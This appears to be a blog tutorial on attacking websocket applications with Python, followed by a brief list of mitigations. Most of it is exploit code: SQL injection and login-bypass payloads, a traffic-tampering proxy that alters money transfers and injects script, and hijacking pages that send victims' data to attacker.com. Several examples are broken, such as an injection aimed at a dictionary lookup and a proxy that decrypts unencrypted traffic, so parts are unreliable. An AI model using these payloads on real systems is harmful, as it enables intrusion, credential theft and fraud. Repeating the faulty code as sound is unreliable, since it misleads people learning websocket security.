Websockets

Abusing Websocket Protocols With Python

⚠️

This article is for educational purposes only. Unauthorized access to systems or data is illegal and unethical. Always obtain proper authorization before testing or experimenting with websocket protocols. The techniques described here should only be used in controlled environments with explicit permission.

Websockets are a powerful protocol that enables real-time, bidirectional communication between clients and servers. While they offer numerous benefits for legitimate applications, they can also be exploited by malicious actors. In this article, we’ll explore various techniques to abuse websocket protocols using Python, along with code examples and real-life use cases.

Understanding Websocket Vulnerabilities

Websockets can be vulnerable to several types of attacks, including:

Lack of input validation
Insufficient authentication
Insecure communication
Cross-Site WebSocket Hijacking (CSWSH)

Let’s dive into each of these vulnerabilities and examine how they can be exploited using Python.

1. Exploiting Lack of Input Validation

One common vulnerability in websocket implementations is the lack of proper input validation. This can lead to various attacks, such as SQL injection or command injection.

Example: SQL Injection via Websocket

sql_injection.py

import websockets
import asyncio
import json

async def exploit_sql_injection():
    uri = "ws://vulnerable-server.com/socket"
    async with websockets.connect(uri) as websocket:
        payload = {
            "action": "get_user",
            "id": "1 UNION SELECT username, password FROM users"  # SQL injection payload
        }
        await websocket.send(json.dumps(payload))
        response = await websocket.recv()
        print(f"Received: {response}")

asyncio.get_event_loop().run_until_complete(exploit_sql_injection())

In this example, we’re exploiting a lack of input validation in the server’s SQL query construction. The payload "1 UNION SELECT username, password FROM users" is injected into the id field, potentially allowing an attacker to retrieve all user credentials.

Real-life Example: Chat Application Vulnerability

Consider a chat application that uses websockets for real-time messaging. The server might have a vulnerable message handling function:

vulnerable_server.py

import websockets
import asyncio
import sqlite3

async def handle_message(websocket, path):
    async for message in websocket:
        data = json.loads(message)
        if data['type'] == 'fetch_messages':
            # Vulnerable SQL query
            query = f"SELECT * FROM messages WHERE room_id = {data['room_id']}"
            cursor.execute(query)
            messages = cursor.fetchall()
            await websocket.send(json.dumps(messages))

start_server = websockets.serve(handle_message, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

An attacker could exploit this vulnerability using the following client script:

exploit_chat.py

import websockets
import asyncio
import json

async def exploit_chat():
    uri = "ws://localhost:8765"
    async with websockets.connect(uri) as websocket:
        payload = {
            "type": "fetch_messages",
            "room_id": "1 UNION SELECT username, password FROM users"
        }
        await websocket.send(json.dumps(payload))
        response = await websocket.recv()
        print(f"Stolen user credentials: {response}")

asyncio.get_event_loop().run_until_complete(exploit_chat())

This exploit could potentially retrieve all user credentials from the database.

2. Bypassing Insufficient Authentication

Some websocket implementations may have weak or easily bypassed authentication mechanisms. Let’s look at an example of how an attacker might exploit this.

Example: Authentication Bypass

auth_bypass.py

import websockets
import asyncio
import json

async def bypass_auth():
    uri = "ws://vulnerable-server.com/socket"
    async with websockets.connect(uri) as websocket:
        payload = {
            "action": "login",
            "username": "admin",
            "password": "' OR '1'='1"
        }
        await websocket.send(json.dumps(payload))
        response = await websocket.recv()
        print(f"Authentication response: {response}")

asyncio.get_event_loop().run_until_complete(bypass_auth())

This script attempts to bypass authentication by injecting a simple SQL injection payload into the password field. If successful, it might grant unauthorized access to the admin account.

Real-life Example: IoT Device Control

Consider an IoT device that uses websockets for remote control. The authentication mechanism might be vulnerable:

vulnerable_iot_server.py

import websockets
import asyncio
import json

users = {
    "admin": "password123"
}

async def authenticate(username, password):
    return users.get(username) == password

async def handle_connection(websocket, path):
    try:
        message = await websocket.recv()
        data = json.loads(message)
        if await authenticate(data['username'], data['password']):
            await websocket.send("Authentication successful")
            # Handle device control commands
        else:
            await websocket.send("Authentication failed")
    except websockets.exceptions.ConnectionClosed:
        pass

start_server = websockets.serve(handle_connection, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

An attacker could exploit this weak authentication:

exploit_iot.py

import websockets
import asyncio
import json

async def exploit_iot():
    uri = "ws://localhost:8765"
    async with websockets.connect(uri) as websocket:
        payload = {
            "username": "admin' --",
            "password": "anything"
        }
        await websocket.send(json.dumps(payload))
        response = await websocket.recv()
        print(f"Authentication response: {response}")
        if "successful" in response:
            await websocket.send(json.dumps({"action": "turn_off_security"}))
            response = await websocket.recv()
            print(f"Security system response: {response}")

asyncio.get_event_loop().run_until_complete(exploit_iot())

This exploit could potentially bypass authentication and gain control over the IoT device.

3. Exploiting Insecure Communication

Websockets that don’t use encryption (WS instead of WSS) are vulnerable to man-in-the-middle attacks. Let’s create a more advanced proxy to demonstrate how an attacker might intercept and modify websocket traffic.

Example: Advanced Websocket Proxy

advanced_websocket_proxy.py

import asyncio
import websockets
import json
from cryptography.fernet import Fernet

# Generate a key for encryption (in a real scenario, this would be pre-shared)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

async def decrypt_message(message):
    return cipher_suite.decrypt(message.encode()).decode()

async def encrypt_message(message):
    return cipher_suite.encrypt(message.encode()).decode()

async def proxy(websocket, path):
    async with websockets.connect("ws://target-server.com/socket") as server_ws:
        async def forward(source, destination, modify_func):
            async for message in source:
                print(f"Original: {message}")
                decrypted = await decrypt_message(message)
                print(f"Decrypted: {decrypted}")
                modified = await modify_func(decrypted)
                print(f"Modified: {modified}")
                encrypted = await encrypt_message(modified)
                await destination.send(encrypted)

        await asyncio.gather(
            forward(websocket, server_ws, modify_client_message),
            forward(server_ws, websocket, modify_server_message)
        )

async def modify_client_message(message):
    # Example: Modify a specific action
    data = json.loads(message)
    if data.get('action') == 'transfer_money':
        data['amount'] = 1000000  # Change transfer amount
    return json.dumps(data)

async def modify_server_message(message):
    # Example: Inject malicious data into server responses
    data = json.loads(message)
    data['malicious_payload'] = '<script>alert("Hacked!");</script>'
    return json.dumps(data)

start_server = websockets.serve(proxy, "localhost", 8765)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

This advanced proxy not only intercepts but also modifies the traffic between the client and server, demonstrating how an attacker could manipulate sensitive information or inject malicious payloads.

Real-life Example: Financial Trading Platform

Consider a financial trading platform that uses websockets for real-time market data and trade execution:

trading_platform.py

import websockets
import asyncio
import json

async def handle_trading(websocket, path):
    async for message in websocket:
        data = json.loads(message)
        if data['action'] == 'place_trade':
            # Process trade
            trade_result = execute_trade(data['symbol'], data['amount'])
            await websocket.send(json.dumps(trade_result))
        elif data['action'] == 'get_market_data':
            # Fetch and send market data
            market_data = fetch_market_data(data['symbol'])
            await websocket.send(json.dumps(market_data))

start_server = websockets.serve(handle_trading, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

An attacker using the advanced proxy could modify trade amounts or manipulate market data:

exploit_trading.py

import websockets
import asyncio
import json

async def exploit_trading():
    uri = "ws://localhost:8765"
    async with websockets.connect(uri) as websocket:
        # Modify a trade
        trade_payload = {
            "action": "place_trade",
            "symbol": "AAPL",
            "amount": 100
        }
        await websocket.send(json.dumps(trade_payload))
        response = await websocket.recv()
        print(f"Trade response: {response}")

        # Request market data
        market_data_payload = {
            "action": "get_market_data",
            "symbol": "AAPL"
        }
        await websocket.send(json.dumps(market_data_payload))
        response = await websocket.recv()
        print(f"Market data: {response}")

asyncio.get_event_loop().run_until_complete(exploit_trading())

The advanced proxy could intercept these messages, potentially modifying trade amounts or injecting false market data, leading to significant financial impact.

4. Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is a vulnerability that occurs when the server doesn’t properly validate the origin of websocket connections. This can allow an attacker to make cross-origin websocket connections from a malicious website.

Example: Advanced CSWSH Attack

advanced_cswsh_attack.py

from flask import Flask, render_template_string
import jwt
import datetime

app = Flask(__name__)

SECRET_KEY = 'your-secret-key'

def generate_token():
    expiration = datetime.datetime.utcnow() + datetime.timedelta(hours=1)
    return jwt.encode({'exp': expiration}, SECRET_KEY, algorithm='HS256')

@app.route('/')
def index():
    token = generate_token()
    return render_template_string('''
    <script>
        var token = "{{ token }}";
        var ws = new WebSocket('ws://vulnerable-server.com/socket');
        ws.onopen = function() {
            ws.send(JSON.stringify({action: 'authenticate', token: token}));
        };
        ws.onmessage = function(event) {
            var data = JSON.parse(event.data);
            if (data.authenticated) {
                ws.send(JSON.stringify({action: 'get_sensitive_data'}));
            }
        };
        ws.onmessage = function(event) {
            fetch('https://attacker.com/steal', {
                method: 'POST',
                body: event.data,
                headers: {
                    'Content-Type': 'application/json'
                }
            });
        };
    </script>
    ''', token=token)

if __name__ == '__main__':
    app.run(debug=True)

This advanced CSWSH attack not only establishes a websocket connection to a vulnerable server but also uses a JWT token for authentication, making the attack more sophisticated and harder to detect.

Real-life Example: Online Gaming Platform

Consider an online gaming platform that uses websockets for real-time game state updates:

game_server.py

import websockets
import asyncio
import json
import jwt

SECRET_KEY = 'game-secret-key'

async def authenticate(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload['user_id']
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None

async def handle_game(websocket, path):
    try:
        message = await websocket.recv()
        data = json.loads(message)
        if data['action'] == 'authenticate':
            user_id = await authenticate(data['token'])
            if user_id:
                await websocket.send(json.dumps({"authenticated": True}))
                # Handle game logic
            else:
                await websocket.send(json.dumps({"authenticated": False}))
        else:
            await websocket.send(json.dumps({"error": "Not authenticated"}))
    except websockets.exceptions.ConnectionClosed:
        pass

start_server = websockets.serve(handle_game, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

An attacker could exploit this using a CSWSH attack:

exploit_game.html

<script>
    var stolenToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."; // Stolen or forged token
    var ws = new WebSocket('ws://localhost:8765');
    ws.onopen = function() {
        ws.send(JSON.stringify({action: 'authenticate', token: stolenToken}));
    };
    ws.onmessage = function(event) {
        var data = JSON.parse(event.data);
        if (data.authenticated) {
            ws.send(JSON.stringify({action: 'get_game_state'}));
        }
    };
    ws.onmessage = function(event) {
        fetch('https://attacker.com/steal_game_data', {
            method: 'POST',
            body: event.data,
            headers: {
                'Content-Type': 'application/json'
            }
        });
    };
</script>

This CSWSH attack could potentially allow an attacker to steal game state information or perform unauthorized actions on behalf of the victim.

Mitigating Websocket Vulnerabilities

To protect against these types of attacks, developers should implement the following security measures:

Input validation and sanitization
Strong authentication and authorization
Use of secure websocket connections (WSS)
Proper origin validation
Implement rate limiting
Use secure protocols for sensitive data transmission

graph TD
    A[Websocket Security] --> B[Input Validation]
    A --> C[Strong Authentication]
    A --> D[Secure Connections WSS]
    A --> E[Origin Validation]
    A --> F[Rate Limiting]
    A --> G[Secure Data Transmission]
    B --> H[Sanitize User Input]
    B --> I[Parameterized Queries]
    C --> J[Multi-Factor Authentication]
    C --> K[Token-based Auth]
    D --> L[TLS Encryption]
    E --> M[Check Origin Header]
    E --> N[Implement CORS]
    F --> O[Request Throttling]
    G --> P[End-to-End Encryption]

Conclusion

Websocket protocols, while powerful, can be abused in various ways if not properly secured. By understanding these vulnerabilities and implementing appropriate security measures, developers can create robust and secure websocket-based applications.

Remember, the examples provided in this article are for educational purposes only. Always obtain proper authorization before testing or experimenting with websocket protocols on live systems.

For more detailed research on websocket security, refer to the following resources:

Rogue Access Point Rfid Exploitation